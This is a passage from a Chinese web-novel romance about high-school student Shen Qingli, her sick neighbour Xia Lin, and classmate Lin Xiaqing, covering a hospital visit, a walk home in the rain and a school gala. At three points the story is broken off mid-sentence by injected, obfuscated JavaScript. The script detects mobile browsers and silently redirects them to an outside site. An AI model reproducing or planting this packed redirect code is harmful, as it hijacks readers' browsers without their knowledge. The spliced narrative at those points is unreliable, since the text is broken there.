“你没事就好。”见她真的如赵逸霄说的一样，没有什么大事情，沈青梨才终于松下一口气来，随后她从包里拿出卷子和作业，边说边递给她：“对了，这是赵逸霄学长让我带给你的作业和今天上课的笔记。” 听到赵逸霄的名字，沈青芸原本还苍白的脸上立刻露出了笑，她眼睛一亮，笑着接过她手里的东西，开心道：“还好有他帮我记着，不过我可能还要在医院呆几天，阿梨麻烦你帮我谢谢他哦。” “好。”见面前的她这样高兴，沈青梨缓缓点点头，心里却想着其他的事情。 她还有作业要回家做，所以也不能在医院呆太久，临走的时候，沈母出来说要送她，被她回绝了。 “我自己回去就好了，你们照顾好姐姐吧。” 她客气又疏离的话让沈母表情一僵，她大概是想起了自己早上的行为，后知后觉的愧疚让她不知道怎么办才好。 沈父也很明显察觉到了母女两的不对劲，他从口袋里拿出钱递给了沈青梨，说着：“小梨爸爸妈妈可能会晚点回家，你拿着钱自己去外面买点东西吃，不要饿到。” “好的，谢谢爸爸，那我先走了。”她点点头，背上书包，离开前看了病房里的三个人，沉默地关上了病房门。 - 走在医院的长廊上，她把钱塞进衣服的口袋里，低下头看着自己胳膊上的伤口，红肿的地方变小了很多，估计用不了多久就能好了。 …… 如果所有的事情都能像这个伤口一样，只要时间够久，一切就都能愈合变好，那就太好了。她在心里出神地默默想着，却听见面前敞开的病房里有一个熟悉的声音喊着她的名字。 “青梨？” 沈青梨闻声抬起头，看见躺在病床上的人，惊讶地喊出声：“夏阿姨？” 夏琳笑着冲她招招手，示意她走进来。 沈青梨走进病房，看着夏琳瘦削的脸色，担忧道：“夏阿姨，你怎么在这里啊？你怎么看着瘦了好多。” “嗯……是生了个小病，不过你怎么在医院啊？是哪里不舒服吗？”夏琳叫她在自己病床边的椅子上坐下，语气关切地问着她。 听着夏琳温柔关心自己的声音，她低下头眼睛不由得一酸，强忍着心底的情绪摇了摇头说：“没有，只是家里有人生病了，我来探病的。” “哦是这样啊，那你爷爷奶奶身体都还好吧，阿姨一直住在医院里，都没办法回去看看他们两位老人家。” “都挺好的。” “那就好。””夏琳点点头，随后像是察觉她低落不对劲的情绪，伸出手拍了拍她的肩膀，沈青梨顺势抬起头，看见面前的女人正神色温柔地冲自己笑着：“那青梨你呢？搬去和爸爸妈妈姐姐一起住过得还习惯吗？” 沈青梨没料到夏琳会这样问自己，她哑然了几秒，又猛地低下头不说话。 记忆里好像回到了最开始，她刚回到镇里住下的那段时间，所有的不愉快与难过都萦绕在她的心口，白天在学校里，繁重的功课让她没时间分神，可等她自己一个人安静下来，那些涌上来的情绪让她闷得几乎要喘不过气来。 那时候面前的夏琳，也是用着这样轻柔的语气问她，是不是过得不太开心。 她当时也没有说话，眼泪却不受控制地掉下来，和此刻一样。 沈青梨觉得自己是能一个忍受孤独痛苦的人，但她却无法在一个温柔的人面前控制住自己的情绪。 可现在对她很好的夏阿姨好像也过得不太好，她伸出手揉了揉湿了的眼睛，逞强地说自己挺好的。 夏琳看破她强撑的样子心疼地直皱眉，却没有立刻拆穿。 她正要继续说些什么，门外传来的脚步声却打断了两人的谈话，沈青梨听见声音，她红着眼睛抬起头，看见拿着保温桶愣在门口的林夏清。 他看着她红着的眼睛眉头轻轻皱了一下，然后马上恢复如常，提着煲好的汤走进来，喊了夏琳一声：“妈。” “哎不是叫你不要过来了吗？” “留您一个人在医院我不放心。”他说着话，打开放在桌上的保温桶，把里面的汤倒在碗里递给夏琳。 沈青梨在他走进来的时候就站起了身，她有些不好意思地揉了揉自己的眼睛。 当下这样狼狈的自己，她自尊心强得并不想被林夏清碰见。 又准确来说，是不想再被他碰见。 那时有太多人都认为沈青梨是一个冷漠的人，就连她亲爸妈都曾不止一次那样觉得过，可只有少数的人知道，她强硬冷漠的外表下藏着一颗怎样敏感的心。 她总在用佯装无所谓来修饰自己脆弱的心，似乎只要那样就能够骗过自己。 可是她的伪装就像是内里已经斑驳铁锈的娃娃，用鲜艳夺目的颜料包装，却脆弱地经不起一场雨的洗礼。 少女的眼泪决堤，有人和她一起淋过一场雨，那个在所有人眼中与她最不相干的人，其实也是最了解她的人。 - 想起之前的事情，她觉得自己待在这里有些坐立难安，于是开口想要和夏琳说自己先走了。 只是话还没来得及开口，外头突然下起了暴雨，密密麻麻的雨滴砸在玻璃窗上，夏琳接过那碗汤，顺势看了一眼外边的天气，对着他们两道：“下雨了啊，你们两过来的时候带伞了没有啊？” “我带了。” “那青梨你呢？”夏琳看了自己儿子一眼，转头问着沈青梨。 “我……没有。”她勉强地回答道，虽然急着想走，但眼下又找不到合适的时机。 “那正好等会让夏清送你回去吧。” 听到夏琳嘴边提到的名字，她不由得抬眼看了林夏清一眼，见他没有任何反应，沈青梨尴尬地笑了一下道：“不用麻烦了夏阿姨，我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171384|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 她推脱的说辞还没讲完，林夏清却突然开口打断了她的话，道：“可以。” 闻言，她向他投去诧异的目光，显然是没料到他会同意这件事。 但林夏清仿佛完全没注意到她的反应，答应完后又继续忙着手边的事情。 夏琳见自己儿子没有异议，不自觉地松了口气。 她和沈青梨继续聊了会天，直到护士走进来提醒她吃药，吃完药后夏琳就要休息，看着天色渐晚，她催促着面前的两个孩子早点回家。 “时间也不早了，你们早点回去吧，路上注意安全啊，夏清你看着点青梨，一定要把她安全送回家知道吗？” 听着自己亲妈的嘱咐，林夏清点点头答应着，他整理好手边的东西，见妈妈已经躺下，他关了灯，和沈青梨脚步很轻地退出病房，并且关上了门。 - 离开医院时，外边的雨还在继续下着。 她和林夏清走在湿漉漉的地上，周边雨水溅起的泥点砸在两人的裤脚上，林夏清打的伞很小，在滂沱的雨声里，他们只能被迫挤在一把伞下，被迫靠近彼此。 沈青梨和他并肩走着，嘴边其实有无数个想要问出口的疑惑，可是真要开口，她却又不知道该从哪里说起了。 身旁的人始终都很安静，她无处安放的眼神只能落在头顶的雨伞上，也才发现已经走了一段路的林夏清，不经意地把雨伞朝着自己的方向倾斜了一个弧度。 注意到他的这个行为，她像是想到了什么，表情一怔。林夏清注意到她变慢的脚步，转过头来问她：“怎么了？” “没，没事。”她看了一眼林夏清，又马上低下头，轻声催促道：“快走吧，雨又下大了。” 注意到她躲避着自己的眼神，他也移开目光，轻轻应了声“嗯”。 - 之后的路上，除了林夏清会问起她应该走哪一个路口转弯外，两人几乎都没有交流。 外头的雨倒是愈下愈大，似乎没有要停下来的意思，嘈杂的雨声，听得沈青梨心里格外烦躁。 眼看着再不开口，就马上要到家门口了，她抿了抿唇，终于还是把心中的疑问问了出来：“夏阿姨她……生了什么病啊？” 林夏清注视着前方，他听到她的声音步子一顿，还以为这一路上他们不会再有交谈聊天的机会了。 他缄默了几秒，声音变得有些哑：“乳腺癌。” “什么？”沈青梨听到回答后，震惊地停下了脚步，她难以置信地问他：“怎么会……什么时候的事情？我上次见到夏阿姨她不是还……” “几个月前。”他注意到她嘴边说的“上次”，整个人变得脸色更不好起来。 “那现在夏阿姨她怎么样？”沈青梨着急着，完全没注意到他的不对劲。 “之前做了个手术，现在在医院做化疗。”谈起夏琳的病情，林夏清难得露出颓废的神色，他只解释了寥寥几句，就不愿再多说。 “怪不得夏阿姨瘦了那么多……”听到这个消息，她的心情也消沉下来，夏琳对她来说，比沈母还要更像自己的妈妈，在那些灰暗的日子里，除了爷爷奶奶，夏琳是唯一一个给予过她光亮的长辈。 想着，她抬头看着偏过头不再讲话的林夏清，嘴边其余的话突然感觉烫嘴地问不出来了。 8. 苦夏 林夏清把她送到了家门口时，两人因为刚才谈到夏琳的病情，脸色都不太好看。 临走前，沈青梨看了他好几眼，最后还是踌躇地问出口：“那我以后能经常去医院看夏阿姨吗？” 她想无论自己和林夏清现在怎么样还是以后怎么样，但是夏琳对她来说都是很重要的长辈，她希望夏琳能身体健健康康的，不然她也不会放心的。 只是目前，她不清楚林夏清对自己的态度是什么样，也不敢贸然地直接去。 而他大概也没料到，察觉到她欲言又止的表情了一路，最后却听到他问自己这个问题，所以一时都有些愣住，没有第一时间开口。 而她很明显也误会了他的反应，于是沈青梨皱了一下眉头，声音明显变轻了很多：“如果你介意的话……” 闻言，他摇摇头，刚才原以为站在面前的她会询问自己另外一件事情而紧绷起来的情绪，在此刻悄无声息地渐渐淡去，才开口道：“不会，我妈看到你应该会开心不少。” 虽然不明白她为什么觉得自己会介意，但他这句话说得的确是实话。 “那就好。”沈青梨没有注意到他隐藏在雨声下的情绪，见他没有介意的意思，她点点头，悄悄松了口气。 眼见外头的雨慢慢小了下来，方才在医院就想要问出来的话又再次萦绕在她的脑海里，沈青梨为难地看了她一眼，可是在即将脱口而出的时候，她却突然退缩了。 如果那个答案并不是她想要的，又或者她压根就不应该问呢？ 他们的关系已经和以前不一样了，她能感觉大，于是……在一阵纠结犹豫下，最终她还是败下阵来，对他催促道：“那我先回家了，今天谢谢你，雨快要停了，你也快回家吧。” 说罢，她正要转身离开，身后的林夏清见她要走，有些着急地开口叫住她：“等等……” “怎么……了”她转过身，却发现面前的人手里不知道什么时候拿了一小瓶药水。 像是注意到她疑惑的目光，他有些不自然地清了清嗓子，把东西递给她解释道：“是我妈让我给你的。” 说着，他用手指了指她的胳膊，说着：“涂了药应该能好得快一点。” “哦……”她愣愣地接过那瓶药水，不禁又看了他一眼，说道：“那你记得帮我谢谢夏阿姨。” “……嗯。” “那我先回家了……” “好。再见。” 她把那瓶药水抱在怀里，和林夏清说了句再见，才装作若无其事地走进家里，而在对方看不见的地方。 关上了门后，她背靠在门背后，心情复杂地盯着怀里的东西，指腹摸着药水的透明玻璃壳，良久，她抿着唇，唇角轻轻勾了一下。 或许，也没有她想的那么糟糕吧？她想着。 - 两人告别后，林夏清站在原地，看着她走进了家门才迈动步子离开。 走在回家的路上，他步子莫名变慢了很多，走到马路边的时候，他接到夏琳打来的电话。 “喂，妈。您怎么醒了？” “夏清，你到……你爸家了吗？”夏琳犹豫的声音从电话那头传来。 “还没有，我刚把沈青梨送回家，现在在回去的路上。” 说话间，外面的雨终于稀稀拉拉地停了下来，他边说话边收了伞。 夏琳听到他的话后在电话那头沉默了几秒，才开口问道：“你和青梨说了吗？我看今天你们俩之间的气氛有点怪。” “……”这下轮到他停下脚步沉默了。 “夏清？你还在听吗？怎么不说话？” 过了半晌，听到妈妈的声音，林夏清才哑着声音开口应着：“妈，我在听……我，我觉得没什么好说的。” 夏琳听着他的回答，明显也料到了自己儿子会是这个反应，想到这，她不由得叹了口气，愧疚道：“是妈妈连累了你。” “别这么说妈，这一切都是我自愿的。” 听他这样说，夏琳在电话那头哽咽着声音：“夏清……” “妈。”林夏清知道他妈妈下面要说什么，所以他打断夏琳的话，抬起头看着路边暖黄色的路灯，他无声地叹了口气，才道：“现在您什么都不要想，好好养病，这才是眼下最重要的。” “……好。” “您早点睡吧，我现在要回去了。” …… - 话落，他嘱咐了妈妈几句，才挂断了电话继续朝着前走。 快走到小区门口的时候，身后有人突然喊着他。 “林夏清？” 闻言，他转过身发现是洛伊秋。 “你这么晚了怎么还在外面？”她手里拿着一本琴谱，走到他的身边问着。 他看了她手里的东西一眼，没有直接回答她的问题，而是反问道：“你不是也在这？” “哦，我是刚从你家出来，今天林叔叔请我们家吃饭，你不知道吗？”她尴尬地笑了笑，像是为了掩盖什么，嘴上虽然这样说着，但现在这个点显然已经不是饭点了，所以嘴边的话听着漏洞百出。 但林夏清并不在意她的不自然，他摇头随口道：“不太清楚。” “哦也是，你一向对什么都不在意。”洛伊秋也早就习惯了他这副冷冷的样子，丝毫没有介意。她说着，低头看手机上发来的消息，像是想起了什么问道：“不过……你今天怎么突然迟到了？” “什么？” “你不是一直都来得很早吗？你迟到的事情要是被林叔叔知道……” “你这是在威胁我？”林夏清听着她的话，抬眼盯着她眉头紧蹙起来，语气都变得更冷冽。 “欸欸欸不是，你别这副样子盯着我，怪吓人的。”洛伊秋看着他的脸色，连忙摆手解释道：“你放心，我没和你爸说这件事情，不过能不能瞒过去就看你了。所以……” 说着，她冲他使了使眼色，暗示道：“礼尚往来，今天你看到我的事情你也就当做没看见，怎么样？” 林夏清不解地看了看她，又看见远处朝他们这走来的赵逸霄，原来是打的这个主意，虽然有些无语，但他也没有反驳，算是默认同意了。 洛伊秋很明显也看见了赵逸霄，她低头看了一眼自己怀里的琴谱，脸上不禁露出笑来。 赵逸霄走近，显然没料到他也在，脚步都顿了一下。 “你也在啊。”他的动作只停顿了一秒，随后又恢复如常地走上前来，和林夏清礼貌地打了个招呼。 而林夏清则是把这一切都尽收眼底，他无意掺和这两人的事情，所以没有表情地冲他点点头道：“马上就不在了。” 话落，他转身就要走，赵逸霄却开口喊住了他，犹豫道：“那个，今天你遇到我们的事情……” “放心，我不会告诉别人的。”他看了两人一眼，撂下一句话后就走了。 - 走到别墅门口，他拿出钥匙打开门，客厅里漆黑一片，他走上前打开墙边的开关，楼上突然传来脚步声。 他抬起头，发现一个面容姣好的女人正穿着睡衣神色不明地站在台阶上，这是他的继母。 她正轻蔑地瞥了他一眼，讥讽道：“回来这么晚？” 他抬头睨了对方一眼点点头，脸不红心不跳地扯着谎：“嗯，在学校耽搁了一会。” “是吗？”女人很明显是不相信的，但她也并不在意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171385|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看了一眼客厅的桌子打了个哈欠，语气无所谓地告诉他：“没给你准备晚饭，你要是饿了就自己解决。” 说罢，也没等林夏清的回答，她就转身上楼睡觉了。 客厅又重新恢复一阵死寂，他缄默地关掉客厅的灯，径直回了自己的房间。 关上房间的门，他却没有直接开灯，而是呆坐在书桌前，夜空中被乌云挡住的月亮冒了个尖，微弱的月光照进屋内，是此刻他身边唯一的光亮。 外面不知道什么时候又开始下雨了，林夏清看着雨滴划过玻璃窗，留下一道道水痕，让窗户上他的倒影都变得模糊。屋外的雨似乎下大了，窗上的水痕越来越多，密密麻麻地“浇湿”外窗。 在这样寂静的夜晚，周围静悄悄的，他只能听到外头雨滴打在窗户、树叶和地面的声音。 不知道为什么，他突然想起白天洛伊秋问及他的那番话。 - “你之前认识沈青梨吗？” 他和洛伊秋走在去小卖部的路上，对方突然的发问叫他一愣，他自己都没有注意到走着路的脚步就乱了几步，过了好几秒，他才勉强找回了自己平常说话的声调问：“谁？” “就是刚才和我们一起打扫操场的女生啊，她叫沈青梨。” “哦。你怎么突然问这个？”他看了一眼洛伊秋，装作不经意地问。 “就是看你们刚才打扫操场的时候配合挺默契的，所以就好奇问问。” 看她应该真的只是随口一问，他也作势顺着她的话题问：“她是你朋友？” “嗯，新交的同班同学，刚认识没几天。”洛伊秋点头回答着，“我还挺喜欢她的。” “是吗？你们怎么认识的？” 洛伊秋把开学那天认识沈青梨的全部经过都和他说了一遍，全然没有注意到身边平日里讲不了几句话的人，在关于沈青梨这个话题上格外话多。 听她说完，感觉像是一场单方面无厘头的自来熟，他觉得有些荒谬，开口问她：“你为什么突然想和她交朋友？” “啊？”骤然被问到这个问题，洛伊秋明显藏着什么事，她眼神闪躲地掩饰着：“因为我觉得她很漂亮啊，尤其是她的眼睛，又黑又亮。” “……” 听着她显然不是真心的回答，林夏清沉默了片刻，才声音很轻地反驳：“她的眼睛是琥珀色的。” “什么？”洛伊秋没有听清，大声问他。 他后知后觉地意识到自己刚才说了什么，垂下眼睑，掩饰道：“没什么。” “哦对了，你还没回答我，你们到底认不认识啊？” 话题又绕到了最开始，林夏清看着前边的路说道：“不认识。” 他的语气淡得让人听不清情绪，所以洛伊秋也没有继续追问。 她听到他的回答后，不知道是相信了还是没相信，“那看来可能是我想多了？不过也是，你们两也不是一个世界的人，怎么可能会认识。” 听到她的话，林夏清这次没有接话。 不是一个世界的人…… 他看着外头倾盆的大雨，洛伊秋的那句话在他脑海里来回反复着，叫他忍不住发出一声自嘲。 她没有说错，现在的他们的确不是一个世界的人了。但他又很想辩解，他们曾经是一个世界里的人。 曾经。 这两个字让他晦暗的眸子里闪烁着，不出意外，他们也只会有曾经了。 - 林夏清也的确没有想错，后来被命运推着往前走的那些年，他们之间连曾经都变得模糊，但他们都没得选择。 他们不会再是一个世界的人了。哪怕他从来没有说过愿意。 9. 苦夏 苏市一周阴晴不定的天气结束，高一的新生正式迎来长达一周的军训。 穿着绿色的迷彩服，在烈阳底下站军姿，每个班级的学生都苦叫连连，唯一能让他们有点盼头的大概只有军训结束后的文艺晚会。 每个班级都要出个节目，洛伊秋作为班长每天都为这件事情忙得焦头烂额。相比之下，沈青梨就闲多了，她没有什么特长能上台表演，就准备到时候坐在台下看着。 - 军训的最后一天，在中午前结束了全部的训练。 高一部的学生如释重负，沈青梨又被洛伊秋拉着一起在食堂吃饭，陈朝喜自然也是在，不过自从她上次知道自己是沈青芸的妹妹之后，对她也多有照顾。 她们熟悉了一些之后，陈朝喜欢脱的性子就暴露无遗，她从知道洛伊秋帮着学校负责文艺晚会后就一直问着她关于今天下午舞台的事情。 “怎么样，提前透露一下有没有什么很精彩的表演，要是没有的话我可就溜了。” “你又要去干嘛？”洛伊秋喝了口饮料，抬头问她：“你最近都干嘛去了？一到休息时间就消失，有的时候都找不到你。” “啊？我？”提到这个陈朝喜不好意思地笑了笑。 洛伊秋和她认识久了，一眼就能看出她的尿性，几乎秒猜到：“你又看上谁了？” 又？听到这个字她不禁抬起头也有些好奇。 像是注意到她疑惑的目光，洛伊秋笑着和她解释道：“青梨你不知道，咱们这位陈朝喜同学可是出了名的暗恋大王，一个学期能靠着眼缘顾名思义暗恋好几个人。” “喂！哪有你说的那么夸张！” 陈朝喜看见沈青梨朝她投来诧异的目光，有些恼羞成怒起来。 洛伊秋笑她说不过就急，不过她们这个年纪本就正是八卦的时候，于是打趣着问：“好了不逗你了，你快说吧，又看上谁了？” “哎呀这次真没有，我这几天是去高三部找我表姐了。” “好吧……”见八卦不到，她面露可惜，不过很快就又被转移了注意：“你还有表姐在这里上学吗？我以前怎么没听你说过啊？” “我也才知道，我妈最近才和我表姐妈妈，也就是我婶婶联系上，也才知道原来我表姐和我一个学校在读高三。”陈朝喜解释着：“正好我妈有东西要带给我婶婶，就让我正好拿给我表姐咯。” 洛伊秋“哦”了一声，随后又像是想起了什么，继续开着玩笑道：“诶你之前不是还说咱们班英语老师算是你亲戚来着吗？你在我们学校的亲戚人脉也太多了吧。” “你和赵老师是亲戚啊？”赵玉芳，是她们班级的英语老师，沈青梨不知道这事，闻言倒是有些震惊。 “对啊，不过我感觉这种事情说出来很容易被人传不好听的谣言啊，所以没什么人知道。” 听着她的话，沈青梨若有所思地点了点头。 她面前的这两个人，一个阿姨是自己班级的老师，一个爸爸是自己学校的校长。 还有……林夏清。 她想着这件事情，突然觉得和周围认识的人比起来，她好像是和苏市一中最没有关联联系的人，如果非要有一个的话，那大概就是沈青芸妹妹这个头衔吧。 沈青芸作为苏市一中同样的风云人物，也时不时会给她引来一些议论和瞩目。 - 吃好饭后，洛伊秋有事要找赵逸霄，只好和她们先分开。 但往常肯定不愿意跟着洛伊秋一起往楼上跑的陈朝喜一反常态，她拉着对方笑嘻嘻讨好道：“你带我一起去呗。” 此话一出洛伊秋抬眼马上用狐疑的目光看向她。 被她盯得心虚，陈朝喜最终还是没扛住她的“审视”，说了实话。 “好吧，其实是因为我前几天去找我表姐的时候，在高三的班级里看见了陆霁冬。”提到这个名字，她看了看洛伊秋的脸色，吞吞吐吐地解释着。 “陆霁冬？！他怎么会也在这？”显然，洛伊秋听到这个名字就紧皱起了眉头，连声音都变尖了起来：“那你和他打招呼了吗？” “没有……”被她这样问，陈朝喜像是想起了什么，支支吾吾道：“哎呀你别问了，你快上去吧，我们先回班级了。” 似乎是怕洛伊秋再继续追问什么，她说完没等面前的人回答就先一步喊着沈青梨走了。 她不明白地看了两人一眼，和洛伊秋说了声才跟着陈朝喜一块回班级。 在走廊上，她眼看着身边的人连叹了好几声气，察觉到她心情不好，她主动开口：“你要是想上楼去的话我可以陪你去。” “不要，反正他也不记得我了，我才不去呢！”她像是被刚才洛伊秋的问题戳到了什么难受的心事，整个人都蔫了下来，说话都赌着气。 沈青梨看着她这副样子不太明白所以然，但这好像又是属于陈朝喜的私人，她也不好过多地直接过问。 …… 下午三点，文艺晚会开始排练，高一的班级被老师安排着提前入场。 高一（2）班的学生坐在第四排朝后，前排就坐着高一（1）班的学生。 沈青梨找了个位置坐下，她看了眼身边心不在焉的陈朝喜，问道：“洛伊秋呢？” “哦她好像被老师安排上台主持去了。”陈朝喜说道。 闻言她点点头，洛伊秋一向是学校里这些老师心目中的好学生，被安排上去也不过分。 想罢，她看着坐在自己前排的学生，小心地把目光朝着前边望去，1班的人都差不多到齐了，可她却没有看见林夏清的身影。 但还没等她细想，周围的学生都到齐坐下，台上的麦克风里就响起了开场的声音。 沈青梨抬起头，看见主持人从后台走上前，她最先看到了走在最前面的洛伊秋，陈朝喜这会盯着台上，轻声和她说了句：“伊秋出来了。” 她应了声，目光却在看见走在洛伊秋身后的人时一愣。 林夏清和她两人走到舞台正中央，他们和台下穿着迷彩服军训装的学生不同，洛伊秋穿着一身暖白色的礼服纱裙出场，她的裙摆边缀着碎钻，在灯光的照射下格外亮眼。 她手里拿着这场晚会的开场台词，望着台下乌泱泱的人，表情自然又从容地笑着，丝毫不见怯场的样子。 从她出场的那一刻，台下众人皆不断地发出“哇”的欢呼声，林夏清站定在她的身边，他穿着一身黑色的西装，深色的衣服像是与他完全贴合，衬出他高挑的身材和与平日里完全不一样的气质。 他抬起冷峻的眉眼，白皙骨节分明的手上也拿着一份和洛伊秋一张的卡片。 还没等台下的人做出反应，室内的灯在一瞬间全部被熄灭，而下一秒，台上打下一束月白色的光圈，正正好地落在这两人的身上。 两人像是接收到了指令，对视了一眼，然后拿起嘴边的话筒一起开口道：“各位尊敬的老师和亲爱的同学们，大家下午好，我们是本次高一军训结业文艺晚会的主持人。” “我是洛伊秋。” “我是林夏清。” 他们各自介绍着自己的名字，话落，台下顿时响起洪亮的掌声。 沈青梨坐在人群里，她怔愣了一秒，随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171386|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才和周围的人一起鼓掌，底下借着鼓掌的空隙有人在大声谈论着。 “男帅女美啊，这两人是谁啊？看着好般配！” “你怎么连他们都不认识，男生是1班的那个中考状元啊，女生是2班的，咱们校长亲女儿。” “听说他们两家还是世交呢，这不就是言情小说里男主女主的发展情节吗？” …… 身边的讨论声不受控制地传到她的耳边，沈青梨却觉得有一瞬间，周围的喧嚣声好像都消失了，只余下她一个人坐在这空荡的表演厅，她抬起头紧紧盯着台上的两人，一股酸涩的情绪蔓延在她的胸口，上不去也下不来。 因为她也不得不承认，台上的两人配合得很默契，站在一起的他们看上去也特别养眼，似乎他们才像是站在一个世界、一条路上的人，而她始终只是旁观者。 想到这，她不由得垂下眼，她眨了眨干涩的眼睛，不敢继续抬头。而那个一举一动都牵绊着她情绪的人，从始至终都没有抬头看她一眼。 这只是她一个人的心里戏，不会有任何一个人知道。 …… 周围热烈的鼓掌声叫她不得不清醒过来，即使后来的沈青梨不愿意承认自己这份出现异样的悸动，但是当时遗留在那个大厅里片刻的愣神和不措，是最无法掩饰的心事。 台上的他们报完第一个节目，两人一齐准备先退到后台，沈青梨盯着林夏清高瘦的背影，她第一次那样无比清楚地意识到自己并不了解远处的这个人，从开学遇到他到现在，对方都给她一种很奇怪的感觉，她说不出个所以然来，但她能感觉到，他们之间的距离在越拉越远。 她想她永远都不会成为像洛伊秋这样落落大方的人，她也不会成为这个学校被无数人关注着的人，与他们不一样，太多的目光只会让她感到不舒服与不自在。 他们身后舞台的帷幕被缓缓拉起来，舞台上表演的音乐响起，陈朝喜总算提起了点兴趣，她百无聊赖地边看着边和沈青梨聊天：“欸伊秋的表演是不是在下一个来着？” 她问着身旁的人，却见她没反应，于是又喊了她几声：“青梨？青梨？” “啊？”听到有人在喊自己，沈青梨才如梦初醒般回了神，她偏过头看着陈朝喜问：“怎么了？” “你怎么了？刚才喊你好几声你都没听到。”陈朝喜也很敏锐地察觉到她的不太对劲，关切地问道。 “没事。”她勉强扯出一抹笑，岔着话题：“下一个是伊秋和赵学长的钢琴表演了吧。” 一提到这个，果不其然陈朝喜的注意力很快就被吸引走了，她点着头，语气都带了点兴奋：“是啊，不知道他们两要弹奏什么曲子，排练以来怎么问她都不肯说，我倒要看看到底是什么让她藏这么好。” 看她没有再继续追问她方才的反常，沈青梨暗自松了一口气。 这次高一的文艺汇演，洛伊秋特地和老师申请找了赵逸霄来帮忙，听陈朝喜说他们两以前在初中就经常一起参加表演，还拿过不少奖，想到这，她努力压下心底不舒服的情绪，探着头和陈朝喜一起等待着。 只是台上的第一场表演结束前夕，她突然被后排的同学拍了拍肩膀。 沈青梨转过头，见那个不认识的女生对她轻声道：“同学，你姐姐在门口，她让我喊一下你。” 话落，她朝着那个女生指的方向看去，果不其然看见了站在门边的沈青芸。 见状，她和身边的陈朝喜说了一声，她弯下腰猫着身体跑出去，借着室内微弱的光她走到沈青芸身边，对于她的到来有些意外：“姐，你怎么过来了？” 10.苦夏 “喏，给你这个。”她把一本谱子塞进了沈青梨的怀里，解释道：“逸霄刚才和我说他们表演的曲谱出了点问题，所以让我把临时备用的送过来。” “哦这样啊，那你直接拿去后台就行了啊，怎么还交给我了？”她点点头，虽然不明白沈青芸为什么这样做，但是看面前的她轻喘着气，脸色也有点发白，她担忧道：“不过台上的表演马上要结束了，姐，你和我一起去后台给他们吧，顺便休息一下？” “不……不用了。”沈青芸听到她的提议，难得地拒绝了，她像是很怕被沈青梨看出些什么，慌张地撂下一句：“我班里还有点事情，你赶紧去吧，我就……先回去了。” 话落，不顾沈青梨在背后喊她的声音，她走得很快，一下子就没了影。 见状，她无奈地瞥了一眼怀里的谱子，只好自己走另外一道门直通去后台。 走到后台的时候，只有赵逸霄站在原地有些焦急地等待着，他看见沈青梨一愣，但很快就看见了她手里的东西。 见他盯着自己，她走近解释道：“哦学长，正好你在这里，这个是我姐让我拿给你的东西。” 闻言，赵逸霄嘴边道着谢，他接过曲谱，翻了几页看了一眼，确认无误后才终于松了一口气，他顺势抬起头，唇边扬起一抹感激的笑，对她说道：“真是谢谢你了青梨，要不是你把东西给我拿过来，我都不知道该怎么办了。” “啊不用谢的学长，你要感谢还是谢谢我姐吧，我就是顺手帮她拿进来而已。”没料到赵逸霄会这么说，她摆了摆手。 “哦对还有青芸，对了她人呢？怎么没和你一起过来？” “她说班里有点事情，把东西给我匆匆忙忙地就走了，应该是要忙着回去上课吧。” 听她这样说，赵逸霄难得沉默了一会，他不知道是在想什么，过了半晌，他才道：“那应该是吧，没事，等我明天亲自去谢谢她。” “嗯好，那我先走了。”沈青梨倒是没多想什么，她见沈青芸拜托自己的事情已经办到了，就想着要回去。 正巧在这时，换好衣服的洛伊秋从换衣室里走出来，她看见面前正在说话的两人先是愣了一下，但很快，她又恢复原先的表情，走上前问着她：“青梨，你怎么在这里啊？” 听到声音，沈青梨转过身，看见换了一身白色中短裙的洛伊秋，她人长得很白，这套裙子很显她的腰身，她不由得感叹一句：“你这身裙子也好漂亮啊。” “真的吗？这还是我第一次听你夸我呢。”见她夸自己，洛伊秋肉眼可见地高兴起来，她站在赵逸霄的身边，看见他手里的谱子，下意识望了四周一圈。 注意到她在找谁，赵逸霄就和她解释了一下沈青梨过来的原因。 闻言，她也没多想地点点头，舞台外面的第一场表演已经结束了，他们预备着要上台，在上台前，沈青梨明显地听到了洛伊秋悄悄询问赵逸霄的声音：“你感觉我身上的这条裙子怎么样？” 她和他凑近“咬耳朵”，赵逸霄有些不好意思地往旁边站了站，不过至于对方的回答，应该也只有洛伊秋知道了。 看着他们两走到舞台上，面前的幕布已经升了下来，两人在钢琴前调整做准备。 很明显，他们应该是要表演四手联弹，沈青梨站在后台的幕布后面看了他们几眼就想要离开，只是这时，林夏清正好从另一道门走进来。 沈青梨听见开门的声音，回头望去，和站在门口的他看见彼此皆是一愣。 林夏清看见她在这有些意外，他脚步停顿了一下，才关上身后的门走了进来，找了个位置坐下。 